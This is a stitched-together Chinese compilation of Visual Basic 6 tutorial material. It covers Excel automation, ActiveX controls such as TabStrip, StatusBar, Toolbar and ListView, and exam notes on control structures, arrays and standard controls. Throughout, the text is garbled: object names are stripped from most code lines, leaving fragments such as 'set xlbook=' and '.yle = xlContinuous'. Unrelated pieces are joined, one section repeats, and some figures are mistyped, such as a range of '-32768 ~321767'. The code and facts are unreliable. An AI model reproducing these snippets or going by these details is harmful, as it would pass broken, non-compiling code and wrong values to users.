2024年3月19日发(作者:)
If ExcelWasNotRunning = True Then
End If
Set MyXL = Nothing '释放对该应用程序和电子数据表的引用。
End Sub
'该过程检测并登记正在运行的 Excel。
Sub DetectExcel()
Const WM_USER = 1024
Dim hwnd As Long
'如果 Excel 在运行,则该 API 调用将返回其句柄。
hwnd = FindWindow("XLMAIN", 0)
If hwnd = 0 Then '0 表示没有 Excel 在运行。
Exit Sub
Else
'Excel 在运行,因此可以使用 SendMessage API'函数将其放入运行对象表。
SendMessage hwnd, WM_USER + 18, 0, 0
End If
End Sub
有了Application对象,就可以非常方便地访问Excel应用程序中的其它对象,
以及这此对象的属性和方法。
2.2 workbooks对象的使用
dim xlbook as object ‘定义一个指向工作簿变量
set xlbook=
44.使用ADD方法新建一个空白的工作簿。
2.3 worksheets对象的使用
dim xlsheet as object ‘定义一个指向工作表的变量
set xlsheet=
或者:set xlsheet=eet(1) ‘指向当前工作簿的第一页
2.4 Cells和Range对象的应用
引用一个工作表(xlsheet)中的某个单位格用以下代码:
(I,j)=100 ‘表示在第I行第J列中写入100这个数。
引用工作表中的多个单位格用以下代码:
With xlsheet '设置边框为是实际上线
.Range(.Cells(7,1),.Cells(28,29)).yle = xlContinuous
End With
3 应用实例
该实例给出怎样运行Excel创建复杂表格以及向表格填充数据的完整过程。在开始
应用程序前,我们要做的准备工作是建立一个我们所需格式的Excel模板。模板的作用相信
大家都不会陌生。我所做的模板如下(模板文件取名为“土工试验成果表”):
模板可以存在指定的文件夹里,也可以在于Excel存放模板的文件夹里。
打开VB编程环境,选择新建一标准工程。要想在VB中很好地调用Excel,首先必
须打开VB编程环境“工程”菜单中的“引用”项目,并选取项目中的“Microsoft Excel8.0 object
library项。然后在窗体中加入一命令按钮,其caption属性为:Excel输出。
即n= Excel输出。
以下是代码,其中模块中的代码和上面介绍的application使用代码是一样的,不再
列出。
Private Sub Command1_Click()
Dim i, j As Integer
Call GetExcel
Set xlapp = GetObject("土工试验成果表.XLS") '打开模扳文件
s(1).Visible = True '使父窗体可见
Set xlsheet = eets(1)'当前工作簿的第一页
For i = 7 To 28‘这段代码是将整数1到29写入单位格中,实际应用时可
For j = 1 To 29 ‘读一数据文件并按要求写入表格中
(i, j) = j '当前工作簿第一页的第I行第J列
Next j
Next i
With xlsheet '设置边框为是实线
.Range(.Cells(7, 1), .Cells(28, 29)).yle = xlContinuous
End With
"d:" ‘按指定文件名存盘
' 引用当前工作簿的第二页
Set xlsheet = eets(2)
(7, 2) = 789 ‘在第二页的第7行第2列写入789
Set xlbook = '新建一空白工作簿
End Sub
参照上述代码,就可以随心所欲地发挥你的编程艺术了。其实你还可以让Excel在
后台运行,甚至于直接在打印机上输出结果,认人感觉不到Excel在运行,是不是很方便?
以上只是本人的一点心得,若有错误,不吝赐教。
(本文系Email投稿,Email:***************,收稿日期:2000年4月6日)
[目录][<<] [>>]
放个windowsmediaplyer控件
Private Sub Form_Load()
With WindowsMediaPlayer1
.Visible = False
.URL = "g:musickiss_the_3"
.unt = -1
.art = True
End With
End Sub
Multimedia
中ActiveX控件的使用
8.1 概述
这里的ActiveX控件是指VB标准工具箱里没有的控件,用时需从“工程”菜单里
选择“部件…”(或右键单击工具箱,从快捷菜单中选择“部件…”),从部件窗口里勾上需
要的控件。
常用ActiveX控件
ActiveX控件
ActiveX部件
文件名
TabStrip 页框
Windows通用控件
Microsoft Windows Common Controls 6.0
路径:
Windowssystem
Toolbar 工具栏
StatusBar 状态栏
ProgressBar 进程条
TreeView 分层显示
ListView 排列显示
ImageList 图象列表
Slider 滑块
ImageCombo 图象组合框
CommonDialog 通用对话框
Microsoft Common Dialog Control 6.0
MMControl1 多媒体
Microsoft Multimedia Control 6.0
MediaPlayer 媒体播放器
Microsoft Media Player
8.1 多选项卡对话框——页框(TabStrip)
1. 设置页框的外观样式
(1) 先在窗体上画出一个TabStrip对象;
(2) 右击该对象,从快捷菜单中选择“属性”;
(3) 在TabStrip属性窗口里选择通用(General)标签,在样式(Style)列表框里选
择样式;
(4) 在TabStrip属性窗口里选择选项卡(Tabs)标签,在标题(Caption)框里输入
标题和关键字;
(5) 如果需要的话,在工具提示文本(ToolTipText)框里输入提示信息;
(6) 在TabStrip属性窗口里选择字体(Font)标签,设置标题的字体(可以直接采
用默认值)。
2.增减标签总数
在TabStrip属性窗口里选择选项卡标签,单击插入选项卡按钮增加标签,单击删
除选项卡按钮删除标签。
3.在TabStrip上显示图形
1) 在窗体里拖入一个图象列表(ImageList)控件;
2) 在此对象上右击,选择属性,打开属性页窗口;
3) 选择图象标签, 单击插入图片按钮,在选定图片对话框里选择想使用的位图或
图标,然后单击打开按钮;为每个想添加图形的选项卡重复此步;
4) 单击确定按钮, ImageList里就存储了需要的图片。
5) 选择TabStrip, 进入TabStrip属性窗口并选择通用标签,在图象列表框里选择
ImageList1;
6) 选择选项卡标签,单击紧挨索引框的向左或向右箭头以选择一个Tab序号。在
图象框里输入一个数,输入为1,则显示刚才ImageList控件里的第一个图形,输入为2,则
显示刚才ImageList控件里的第二个图形,单击确定按钮完成。
4.在TabStrip上放置其它控件
在窗体上象添加普通控件一样,把每一页需要的控件添上,控件不止一个时,应
该用Frame来分组,注意:除了默认的第一页上的Frame控件外,其他所有Frame的Visible
属性都应该设为假。
5.设计代码
在用户选择了标签后,TabStrip要求编写代码来显示或隐藏控件。可用类似下面的
代码来识别用户在哪一个项目上单击。
Private Sub TabStrip1_Click()
Select Case
Case 1
<选第一项时需要执行的代码>
Case 2
<选第一项时需要执行的代码>
……
End Select
End Sub
例: Private Sub TabStrip1_Click()
Select Case
Case "statubar"
e = False
e = True
Case "toolbar"
e = False
e = True
End Select
End Sub
8.2 状态栏(StatusBar)和工具栏(ToolBar)
1. 状态栏的作用与组成
StatusBar 控件由 Panel(窗格) 对象组成,最多能被分成 16 个 Panel 对象,每
一个 Panel 对象能包含文本和/或图片。控制个别窗格的外观属性包括 Width、Alignment
(文本和图片的)和 Bevel(斜面)。此外,能使用 Style 属性七个值中的一个自动地显示公
共数据,诸如日期、时间和键盘状态等。
2. 创建状态栏
先在窗体上画出一个StatusBar对象,再右击该对象,从快捷菜单中选择“属性”,
进入属性页设置窗口,进行下面的设置:
(1) 选择窗格形状
在属性窗口里选择通用标签,在样式列表框里选择多窗格(缺省形式)或单窗格
简单文本形式。
(2) 添加或删除状态栏窗格
在属性窗口里选择窗格标签,单击插入窗格按钮添加一个窗格,或单击删除窗
格按钮删除一个窗格。
(3) 在单窗格里显示文本
在属性窗口里选择通用标签,在简单文本框里输入想显示在状态栏窗格里的文
本。用代码显示的方式是:
Text = "要显示的内容"
(4) 在多窗格里显示文本或图形
1). 在属性窗口里选择窗格标签,用索引旁的按钮选择窗格序号。
2). 在文本框里输入想显示在状态栏窗格里的文本。用代码显示的方式是:
(x).Text = "要显示的内容"
3). 如果想加入图形,单击浏览按钮打开一个图形选择对话框,选择想加入的图
形,然后单击打开按钮。
(5) 编写代码
如果是一个单窗格状态栏,当用户单击状态栏时,只需用下面的事件过程来响应:
Private Sub StatusBar1_Click()
<要执行的代码>
End Sub
如果是一个多窗格状态栏,就需要鉴别用户单击的是哪一个窗格,可用下面的
事件过程来识别用户所单击的窗格:
Private Sub StatusBar1_PanelClick(ByVal Panel As Panel)
Select Case
Case 1
<要执行的代码>
Case 2
<要执行的代码>
……
End Select
End Sub
3.创建工具栏
(1).建立工具栏
1) 在工具箱里单击工具栏图标,拖到窗体的任何位置,Visual Basic自动将ToolBar
移到顶部。再右击该对象,从快捷菜单中选择“属性”,进入属性页设置窗口;
2) 选择按钮标签,单击插入按钮,Visual Basic就会在工具栏上显示一个空按钮,
重复此步插入多个按钮;
3) 单击确定按钮。如果想把按钮分组,首先插入一个分隔的按钮,再在对话框
里将这个按钮的样式属性改为3-Separator。
(2) 为工具栏增加图画
1). 在Visual Basic工具箱里单击ImageList图标,并将它拖到窗体的任何位置(位
置不重要,因为它总是不可见的),再右击该对象,从快捷菜单中选择“属性”,进入属性页
设置窗口;
2). 选择图象标签,单击插入图片,在选定图形对话框里选择想使用的位图或图
标,然后单击打开按钮。为每个想添加图形的工具栏按钮重复此步。
3). 单击确定按钮。
4). 进入ToolBar属性对话框,选择通用标签,在图象列表框里选择刚才添加的
ImageList控件。
5). 选择按钮标签,单击紧挨Index框的向左或向右箭头以选择一个按钮序号。
出现在工具栏最左边的按钮序号为1。
6). 在Image框里输入一个数,输入为1,则显示刚才ImageList控件里的第一个
图形,输入为2,则显示刚才ImageList控件里的第二个图形。
7). 为每个按钮重复第6步, 单击确定按钮,现在Visual Basic就会在工具栏上
显示精美的图形了。
(3)为工具栏添加文本信息
在ToolBar属性对话框中选择按钮标签,在标题框里输入想显示在按钮上的文
本。
(4)添加ToolTips
ToolTips是一种当点到工具按钮时弹出的小标签。ToolTips很方便,可以告
诉那些新手每个按钮是干什么用的。在ToolBar属性对话框中选择按钮标签,在工具提示文
本框里输入想作为ToolTip的文本。
(5)编写代码
双击工具栏,以下面的格式输入代码就可以了:
Private Sub Toolbar1_ButtonClick(ByVal Button As Button)
Select Case
Case 1
<要执行的代码>
Case 2
<要执行的代码>
……
End Select
End Sub
8.3 进程条(ProgressBar)和滑块(Slider)
1. 进程条
作用:进程条控件用于监视操作完成的进度。
创建:在窗体上画出进程条控件,右击,选择属性,然后进行所需的外观设置。
主要属性:ProgressBar 控件有一个行程和一个当前位置。行程代表该操作的整个持
续时间。当前位置则代表应用程序在完成该操作过程时的进度。Max 和 Min 属性设置了行
程的界限。Value 属性则指明了在行程范围内的当前位置。
(1) Min属性代表进程条全空时的值,缺省时为0。
(2) Max属性代表进程条全空时的值,缺省时为100。
(3) Value属性代表进程条当前的值(但不出现在属性窗口中),它大于Min属性,
小于Max属性。改变Value属性的值将改变进程条的进度显示。
示例:
Private Sub Command1_Click()
If < Then
= + 5
Else
e = False ‘当进程条满了的时候让进程条消
失
End If
End Sub
2.滑块
Slider 控件是包含滑块和可选择性刻度标记的窗口,在窗体上画出滑块控件,右
击,选择属性,然后进行下列设置:
(1)选择滑块的外观
1)方向属性决定滑块的方位,可以是垂直的或水平的滑块。
2)滑块样式属性决定滑块标记的样子。
3)滑块频率属性规定了沿着滑块的标记的间隔大小,缺省的状态是1,表明每个可
能值都出现标记,如果把值设置为3,则每三个可能值出现一个标记。
(2)滑块的主要属性及事件
1)Min,Max属性
Min属性决定滑块最左端或最顶端所代表的值。Max属性决定滑块最右端或最
下端所代表的值。
2)LargeChange,SmallChange属性
SmallChange决定在滑块两端的箭头钮上单击时改变的值。LargeChange决定在
滑块上方或下方区域单击时改变的值。
3)Value属性
Value属性代表当前滑块所处位置的值,这个值由滑块的相对位置决定。
4)Change事件
当滑块位置发生变化时就引发了Change事件。
8.4排列显示(ListView)控件和分层显示(TreeView) 控
件
1.ListView 控件
象“资源管理器”的右侧一样,可使用四种不同视图显示项目。通过此控件,可将
项目组成带有或不带有列标头的列,并显示伴随的图标和文本。
可使用 ListView 控件将称作 ListItem 对象的列表条目组织成下列四种不同的视
图之一:
大(标准)图标 小图标 列表 报表
View 属性决定在列表中控件使用何种视图显示项目。还可用 LabelWrap 属性控
制列表中与项目关联的标签是否可换行显示。另外,还可管理列表中项目的排序方法和选定
项目的外观。
ListView 控件包括 ListItem 和 ColumnHeader 对象。ListItem 对象定义 ListView
控件中项目的各种特性,如: 项目的简要描述、由 ImageList 控件提供的与项目一起出现
的图标、附加的文本片段,称作子项目,它们与显示在报表视图中的 ListItem 对象关联。
可以使用 HideColumnHeaders 属性决定是否在 ListView 控件中显示列标头。列
标头可以在设计时添加,也可以在运行时添加。设计时,使用 ListView“控件属性”对话框
的“列首”选项卡添加列标头。运行时,使用 Add 方法添加 ColumnHeader 对象到
ColumnHeaders 集合中。
2.TreeView 控件
该控件象“资源管理器”的左侧一样,用于显示结点( Node) 对象的分层列
表,每个 Node 对象均由一个标签和一个可选的位图组成。TreeView 一般用于显示文档标
题、索引入口、磁盘上的文件和目录、或能被有效地分层显示的其它种类信息。
创建了 TreeView 控件之后,可以通过设置属性与调用方法对各 Node 对象进行
操作,这些操作包括添加、删除、对齐和其它操作。可以编程展开与折回 Node 对象来显
示或隐藏所有子节点。
TreeView 控件使用由 ImageList 属性指定的 ImageList 控件,来存储显示于
Node 对象的位图和图标。任何时刻,TreeView 控件只能使用一个 ImageList。这意味着,
当 TreeView 控件的 Style 属性被设置成显示图像的样式时,TreeView 控件中每一项的旁边
都有一个同样大小的图像。
8.5 多媒体控件
1. 多媒体控件
Multimedia MCI 控件管理媒体控制接口 (MCI) 设备上的多媒体文件的记录与回
放。从概念上说,这种控件就是一组按钮,它被用来向诸如声卡、MIDI 序列发生器、CD-ROM
驱动器、视频 CD 播放器和视频磁带记录器及播放器等设备发出 MCI 命令。MCI 控件还支
持 Windows (*.avi) 视频文件的回放。
在允许用户从 Multimedia MCI 控件选取按钮之前,应用程序必须先将 MCI 设
备打开,并在 Multimedia MCI 控件上启用适当的按钮。在 Visual Basic 中,应将 MCI Open
命令放到 Form_Load 事件中。
2.媒体播放器控件
可以播放各种多媒体文件,主要属性有:
(1) filename(待播放的文件名),可以在属性窗口中设置,也可以用代码实现。
(2) AutoStart(是否自动播放),默认是True。
(3) AutoRewind(是否自动循环),默认是False。
(4) PlayCount(文件播放遍数),默认是1。
8.6 图象列表(ImageList)和 图象组合框(ImageCombo)
1.图象列表
ImageList 控件是包含 ListImage 对象的集合,该集合中的每个对象都可以通过其
索引或关键字被引用。ImageList 控件不能独立使用,只是作为一个便于向其它控件提供图
象的资料中心。
ImageList 控件的作用象图像的储藏室,同时,它需要第二个控件显示所储存的图
像。第二个控件可以是任何能显示图像 Picture 对象的控件,也可以是特别设计的、用于绑
定 ImageList 控件的 Windows 通用控件之一。这些控件包括ListView、ToolBar、TabStrip、
Header、ImageCombo、和 TreeView 控件。为了与这些控件一同使用 ImageList,必须通过
一个适当的属性将特定的 ImageList控件绑定到第二个控件。对于 ListView 控件,必须设置
其 Icons 和 SmallIcons 属性为 ImageList 控件。对于 TreeView、TabStrip、ImageCombo、
和 Toolbar 控件,必须设置 ImageList 属性为 ImageList 控件。
一旦 ImageList 与某个 Windows 通用控件相关联,就可以在过程中用 Index 属性
或 Key 属性的值来引用 ListImage 对象。
当与 Windows 通用控件一起使用 ImageList 控件时,在将它绑定到第二个控件之
前,按照希望的顺序将全部需要的图像插入到 ImageList。一旦 ImageList 被绑定到第二个
控件 ,就不能再删除图像了,并且也不能将图像插入到 ListImages 集合中间。但是可以在
集合的末尾添加图像。
2.图象组合框
ImageCombo 控件是标准 Windows 组合框的允许绘图版本。控件列表部分中的
每一项都可以有一幅指定的图片。它可以显示一个包含图片的项目列表,每一项可以有自己
的图片,也可以对多个列表项使用相同的图片。
除了支持图片之外, ImageCombo 还提供了一个对象和基于集合的列表控件。
控件列表部分的每一项是一个不同的 ComboItem 对象,而且列表中的所有项组合起来构成
ComboItems 集合。这就使它容易一项一项地指定诸如标记文本、ToolTip文本、关键字值以
及缩进等级等属性。
8.7 通用对话框控件
Windows应用程序里的Open对话框,Save As对话框在各个应用程序里看起来都
是一样的,通用对话框控件就可以提供这些对话框的标准功能。
1.Open对话框及Save As对话框
打开Open对话框使用ShowOpen方法,打开Save As对话框使用ShowSave方法。
Private Sub mnuOpen_Click ()
On Error GoTo ErrorHandler
Error = True
= "Text Files (*.txt)|*.txt|Batch Files (*.bat)|*.bat|All
Files (*.*)|*.*"
en ' 显示打开对话框
Call OpenFile(me)
ErrorHandler:
Exit Sub
End Sub
46.全国等级考试二级VB考点分析之控制
结构与
数组(1)
--------------------------------------------------------------------------------
作者:不详 来源于:中国VB网 发布时间:2009-11-11
5.1 选择控制结构
考点1 单行结构条件语句
单行条件语句比较简单,其格式如下:
If条件Then then部分[Else else部分]
该语句的功能是:如果“条件”为True,则执行“Then部分”,否则执行“Else部
分”。
考点2 块结构条件语句
块结构条件语句与C、Ada等语言中的条件语句类似,一般格式如下:
If条件1 Then
语句块1
[E1seIf条件2 Then
语句块2]
[E1seIf条件3 Then
语句块3]
[Else
语句块n]
End If
块结构条件语句的功能是:如果“条件1”为True,则执行“语句块1”;否则如果
“条件2”为True,则执行“语句块2”……否则执行“语句块n”。
块形式的条件语句简化为:
If条件Then
语句块
End If
这里的“语句块”可以是一个语句,也可以是多个语句。多个语句时,可以分别写
在多行;如果写在一行中,则各语句之间用冒号隔开。
考点3 IIf函数
IIf函数可用于执行简单的条件判断操作,它是“If…Then…Else”结构的简写版本,
IIf是“Immediate If”的缩略。
IIf函数的格式如下:
result=IIf(条件,True部分,False部分)
“result”是函数的返回值,“条件”是一个逻辑表达式。当“条件”为真时,IIf函数返
回“True部分”,而当“条件”为假时返回“False部分”“True部分”或“False部分”可以
是表达式、变量或其他函数。注意,IIf函数中的3个参数都不能省略,而且要求“True部
分”、“False部分”及结果变量的类型一致。
5.2 多分支控制结构
考点4 多分支控制结构
情况语句的一般格式为:
Select Case测试表达式
[Case表达式列表1]
[语句块1]
[Case表达式列表2]
[语句块1]
…
[Case Else]
[语句块n]
End Select
情况语句以Select Case开头,以End Select结束:其功能是,根据“测试表达式”
的值,从多个语句块中选择符合条件的一个语句块执行。
说明:情况语句中含有多个参量,这些参量的含义分别为:
(1)测试表达式:可以是数值表达式或字符表达式,通常称为变量或常量。
(2)语句块1,语句块2,……:每个语句块由一行或多行合法的Visual Basic语句组
成。
(3)表达式列表l,表达式列表2,……:称为域值。
| VB技术文章 |
全国等级考试二级VB考点分析之控制结构与数组(2)
--------------------------------------------------------------------------------
作者:不详 来源于:中国VB网 发布时间:2009-11-11
5.3 For循环控制结构
考点5 For循环控制结构
For循环也称为For…Next循环或计数循环。其一般格式如下:
For循环变量=初值To终值[Step步长]
[循环体]
[Exit For]
Next[循环变量][,循环变量]…
说明:格式中有多个参数,这些参数的含义如下:
(1)循环变量:也称“循环控制变量”、“控制变量”或“循环计数器”。它是一个数
值变量,但不能是下标变量或记录元素。
(2)初值:循环变量的初始值,它是一个数值表达式
(3)终值:循环变量的结束值,它是一个数值表达式。
(1)步长:循环变量的增量,是一个数值表达式。
(5)循环体:在For语句和Next语句之间的语句序列,可以是一个或多个语句。
(6)Exit For:退出循环
(7)Next:循环终端语句。在Next后面的“循环变量”与For语句中的“循环变量”
必须相同。
格式中的初值、终值和步长均为数值表达式,但其值不一定是整数,可以是实数,
Visual Basic自动取整。
5.4 当循环控制结构
考点6 当循环控制结构
当循环语句的格式如下:
While条件
[语句块]
Wend
在上述格式中,“条件”为一个布尔表达式当循环语句的功能是:当给定的“条件”
为True时,执行循环中的“语句块”(即循环体)。
While循环语句的执行过程是:如果“条件”为True(非0值),则执行“语句块”
到Wend语句时,控制返回到While语句并对“条件”进行测试,如仍为True,则重复上述
的过程;如果“条件”为False,则不执行“语句块”,而执行Wend后面的语句。
当循环与For循环的区别是:For循环对循环体执行指定的次数,当循环则是在给
定的条件为True时重复语句序列(循环体)的执行。
5.5 Do循环控制结构
考点7 Do循环控制结构
Do循环不仅可以不按照限定的次数执行循环体内的语句块,而且可以根据循环条
件是True或False决定是否结束循环。
Do循环的格式如下:
(1)Do
[语句块]
[Exit Do]
Loop [While|Until循环条件]
(2)Do [While|Until循环条件]
[语句块]
[Exit Do]
Loop
Do循环语句的功能是:当指定的“循环条件”为True或直到指定的“循环条件”
变为True之前重复执行一组语句(即循环体)。
说明:
(1)Do, Loop及While, Until都是关键字“语句块”是需要重复执行的一个或多
个语句,即循环体。
“循环条件”是一个逻辑表达式
(2) Do和Loop构成了Do循环当只有这两个关键字时,其格式简化为:
Do
[语句块]
Loop
在这种情况下程序将不停地执行Do和Loop之间的“语句块”。为了使程序按指定
的次数执行循环,必须使用可选的关键字While或Until以及Exit Do。While是当条件为True
时执行循环,而Until则是在条件变为True之前重复。
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
全国等级考试二级VB考点分析之控制结构与数组(3)
--------------------------------------------------------------------------------
作者:不详 来源于:中国VB网 发布时间:2009-11-11
5.6 多重循环
考点8 多重循环
通常把循环体内不含有循环语句的循环叫做单层循环,而把循环体内含有循环语句
的循环称为多重循环。例如在循环体内含有一个循环语句的循环称为二重循环。多重循环又
称多层循环或嵌套循环。
在一般情况下,3种循环不能在循环过程中退出循环,只能从头到尾地执行Visual
Badic以出口语句(Exit)的形式提供了进一步的终止机理,与循环结构配合使用,可以根据需
要退出循环。
出口语句可以在For循环和Do循环中使用,也可以在过程中使用。它有两种格式,
一种为无条件形式,一种是条件形式,即:
无条件形式条件形式
Exit For If条件Then Exit For
Exit Do If条件Then Exit Do
Exit Sub If条件Then Exit Sub
Exit Function If条件Then Exit Function
出口语句的无条件形式不测试条件,执行到该语句后强行退出循环。而条件形式要
对语句中的“条件”进行测试,只有当指定的条件为True时才能退出循环,如果条件不为
True,则出口语句没有任何作用。
出口语句具有两方面的意义。首先,给编程人员以更大的方便,可以在循环体的任
何地方设置一个或多个中止循环的条件;其次,出口语句显式地标出了循环的出口点,这样
就能大大改善某些循环的可读性,并易于编写代码。因此,使用出口语句能简化循环结果
5.7 GoTo型控制
考点9 GoTo语句
GoTo语句可以改变程序执行的顺序,跳过程序的某一部分去执行另一部分,或者
返回已经执行过的某语句使之重复执行。因此,用GoTo语句可以构成循环GoTo语句的一
般格式为:
GoTo{标号|行号}
“标号”是一个以冒号结尾的标识符;“行号”是个整型数,它不以冒号结尾。
考点10 On…GoTo语句
On…GoTo语句类似于情况语句,用来实现多分支选择控制,它可以根据不同的条
件从多种处理方案中选择一种其格式为:
On数值表达式GoTo行号表列|标号表列
On…GoTo语句的功能是根据“数值表达式”的值,把控制转移到几个指定的语句
行中的一个语句行。“行号表列”或“标号表列”可以是程序中存在的多个行号或称号,相
互之间用逗号隔开。
5.8 数组的概念
考点11 数组的定义
在Visual Basic中,可以用4个语句来定义数组,这4个语句格式相同,但适用范
围不一样。
(1)Dim用在窗体模块或标准模块中,定义窗体或标准模块数组,也可用于过程中。
(2)ReDim用在过程中。
(3)Public用在标准模块中,定义全局数组。
(4)Static用在过程中。
1第一种格式
与传统的数组定义格式相同,对于数组的每一维,只给定下标的上界,即可以使用
下标的最大值。对于一维数组,格式如下:
Dim数组名(下标上界) As类型名称
对于二维数组,格式如下:
Dim数组名(第一维下标上界,第二维下标上界)As类型名称
2第二种格式
Dim数组名([下界To]上界[,[下界To]上界]…)As类型名称
考点12 默认数组与嵌套数组
在Visual Basic中,允许定义默认数组,并可用一个数组作为另一个数组的元素,
即数组嵌套。
1默认数组
默认数组就是默认数据类型的数组。在一般情况下,定义数组应指明其类型。
2嵌套数组
在一般情况下,数组元素是一个具体的数据。而在Visual Basic中,可以用数组作
为另一个数组的元素,这样的数组称为嵌套数组。
--------------------------------------------------------------------------------
当前位置:中国VB网→文章首页→VB技术文章→其他→全国等级考试二级VB考点分
析之控制结构与数组(4)
全国等级考试二级VB考点分析之控制结构与数组(4)
--------------------------------------------------------------------------------
作者:不详 来源于:中国VB网 发布时间:2009-11-6
5.9 静态数组与动态数组
考点13 静态数组和动态数组
静态数组和动态数组由其定义方式决定,即:
.用数值常数或符号常脸作为下标定维的数组是静态数组。
.用变量作为下标定维的数组是动态数组。
1动态数组的定义
动态数组以变量作为下标值,在程序运行过程中完成定义,通常分为两步:首先在
窗体层、标准模块或过程中用Dim或Public声明一个没有下标的数组(括号不能省略),然后
在过程中用ReDim语句定义带下标的数组。
2数组的清除和重定义
Visual Basic中可以用Erase语句来实现对数组内容的清除,格式如下:
Erase数组名[,数组名]…
Erase语句用来重新初始化静态的元素,或释放动态数组的存储空间。注意,在
Erase语句中,只给出要刷新的数组名,不带括号和下标。
5.10 数组的基本操作
考点14 数组元素的输入、输出和复制
1引用
数组的引用通常是指对数组元素的引用.其方法是在数组后而的括号中指定下标。
2数组的输入
数组元素一般通过For循环语句及lnputBox函数输入
3数组的输出
数组元素的输出可以用Print方法来实现。
4数组元素的复制
单个数组元素可以像简单变量一样从一个数组复制到另一个数组。
考点15 For Each…Next语句
For Each.…Next语句类似于For…Next语句,两者都用来执行指定重复次数的一组
操作,但For Each…Next语句专门用于数组或对象“集合”(本书不涉及集合),其一般格式
为:
For Each成员In数组
循环体
[Exit For]
…
Next〔成员〕
这里的“成员”是一个变体变量,它是为循环提供的,并在For Each.…Next结构中
重复使用,它实际上代表的是数组中的每个元素“数组”是一个数组名,没有括号和上下界。
用For Each.…Next语句可以对数组元素进行处理,包括查询、显示或读取,它所重
复执行的次数由数组中元素的个数确定,也就是说,数组中有多少个元素,就自动重复执行
多少次。
--------------------------------------------------------------------------------
| VB技术文章 |
计算机等级考试二级VB考点分析之常用标准控件(3)
--------------------------------------------------------------------------------
作者:不详 来源于:中国VB网 发布时间:2009-11-11
考点11 滚动条事件
与滚动条有关的事件主要是Scroll和Change当在滚动条内拖动滚动框时会触发
Scroll事件(单击滚动箭头或滚动条时不发生Scroll事件),而改变滚动框的位置后会触发
Change事件。Scroll事件用于跟踪滚动条中的动态变化,Change事件则用来得到滚动条的最
后值。
4.7 计时器
考点12 计时器
Visual Basic可以利用系统内部的计时器计时,而且提供了定制时间间隔的功能,用
户可以自行设置每个计时器事件的时间间隔。
计时器可以用Name属性和Enabled属性,其重要属性是Interval,该属性用来设置
计时器事件之间的间隔,以毫秒为单位,取值范围为0~65535。
4.8 框架
考点13 框架
框架(Frame)是一个容器控件,用于将屏幕上的对象分组。
框架的属性包括Enabled, FontBold, FontName, FontUnderline, Height, Left,
Top, Visible,Width。此外,Name属性用于在程序代码中标记一个框架,而Caption属性
定义了框架的可见文字部分。
使用框架的主要目的是为了对控件进行分组,即把指定的控件放到框架中。
4.9 焦点与Tab顺序
考点14 设置焦点
用下面的方法之一可以设置一个对象的焦点:
.在运行时单击该对象;
.运行时用快捷键选择对象;
.在程序代码中使用SetFocus方法。
考点15 Tab顺序
Tab顺序是在按Tab键时焦点在控件间移动的顺序。当窗体上有多个控件时,用鼠
标单击某个控件,就可把焦点移到该控件中(如果该控件有焦点),或者使该控件成为活动控
件。除使用鼠标外,用Tab键也可以把焦点移到某个控件中。每按一次Tab键,可以使焦点
从一个控件移动到另一个控件。所谓Tab顺序就是指焦点在各个控件之间移动的顺序。
当前位置:中国VB网→文章首页→VB技术文章→窗体控件 →计算机等级考试二级
VB考点分析之常用标准控件(2)
计算机等级考试二级VB考点分析之常用标准控件(2)
--------------------------------------------------------------------------------
作者:不详 来源于:中国VB网 发布时间:2009-11-11
4.3 按钮控件
考点6 属性和事件
在应用程序中,命令按钮通常用来在单击时执行指定的操作,包括Caption,Enabled,
FontBold,Fontltalic,FontName, FontSize, FontUnderline, Height, Left, Name, Top,
Visible, Width,此外,它还有以下属性Cancel,fault,Style,Picture,DownPicture,
DisabledPicture。
称图片框Picture属性的设置一样,在设计阶段可以从属性窗口中设置命令按钮的
Picture, DownPicture或DisabledPicture的属性,也可以通过LoadPicture函数装入图形。
命令按钮最常用的事件是单击(Click)事件,当单击一个命令按钮时,触发Click事件。
注意,命令按钮没有又击(DblClick)事件。
4.4 选择控件――复选框和单选按钮
考点7 复选框和单选按钮的属性和事件
以前介绍的大多数属性都可以用于复选框和单选按钮,包括Caption,Enabled,
FondBold, FontItalic,FontName,Fontsi z e,FontUnderline,Height, Left,Name,Top,
Visible,Width和命令按钮一样.对于复选框和单选按钮可以使Picture,DownPicture和
DisabledPicture属性。此外还可以使用Value属性,Alignment属性和Style属性。
4.5 选择控件——列表框和组合框
考点8 列表框
l属性
列表框所支持的标准属ri包括Endbled,FontBold,Fontltalic,FontName,
FontUnderline,Height,Left,Top,Visible, Width。此外, 列表框还具有以下特殊属性:
Columns, List, ListIndex, ListCout, MultSelect, Selected,SelCount,Sorted,Style,
Text。
2列表框事件
列表框接收Click和DhIClick事件,但有时编写Click事件过程代码,而是当单击一
个命令按钮或发生DblClick事件时,读取Text属性。
3列表框方法
列表框可以使用Additem,Clear和Removeltem等方法,用来在运行期间修改列表
框的内容。
考点9 组合框
组合框(ComboBox )是组合列表框和文本框的特性而成的控件。
1组合框属性
列表框的属性基本土可用于组合框,此外它还有自己的一些属性
(1) Style是组合框的一个重要属性,其值为0,1和2,它决定了组合框3种不同的
类型。
(2 ) Text属性是用户所选择的项目的文本或直接从编辑区输入的文本。
2组合框事件
组合框所响应的事件依赖于其Style属性。当用户单击组合框中向下的箭头时,将
触发DropDown事件,该事件实际上对应于向下箭头的单击(Click)事件。
3组合框方法
前面介绍的Addltem, Clear和Removeltem方法也适用于组合框,其用法与在列
表框中相同。
4.6 滚动条
滚动条通常用来附在窗口[帮助观察数据或确定位置,也可用来作为数据输入的工
具,被广泛地用于Windows应用程序中、滚动条分为两种,即水平滚动条和垂直滚动条。
考点10 滚动条属性
滚动条的属性用来标记滚动条的状态,除支持Enabled, Height, Left, Caption,
Top, Visible, Width等标准属性外,还具有以下属性:
1 Max
滚动条所能表示的最大值,取值范围为-32768 ~321767。
2 Min
滚动条所能表/J七的最小值,取值范围与Max相同。
3 LargeChange
单击滚动条中滚动框前面或后而的部位时,Value属性增加或减少的增量值。
4 SmallChange
单击滚动条两端的箭头时,Value属性增加或减少的增量值。
5 Value
该属性值表示滚动框在滚动条上的位置。
--------------------------------------------------------------------------------
当前位置:中国VB网→文章首页→VB技术文章→窗体控件 →计算机等级考试二级
VB考点分析之常用标准控件(2)
计算机等级考试二级VB考点分析之常用标准控件(2)
--------------------------------------------------------------------------------
作者:不详 来源于:中国VB网 发布时间:2009-11-11
4.3 按钮控件
考点6 属性和事件
在应用程序中,命令按钮通常用来在单击时执行指定的操作,包括Caption,Enabled,
FontBold,Fontltalic,FontName, FontSize, FontUnderline, Height, Left, Name, Top,
Visible, Width,此外,它还有以下属性Cancel,fault,Style,Picture,DownPicture,
DisabledPicture。
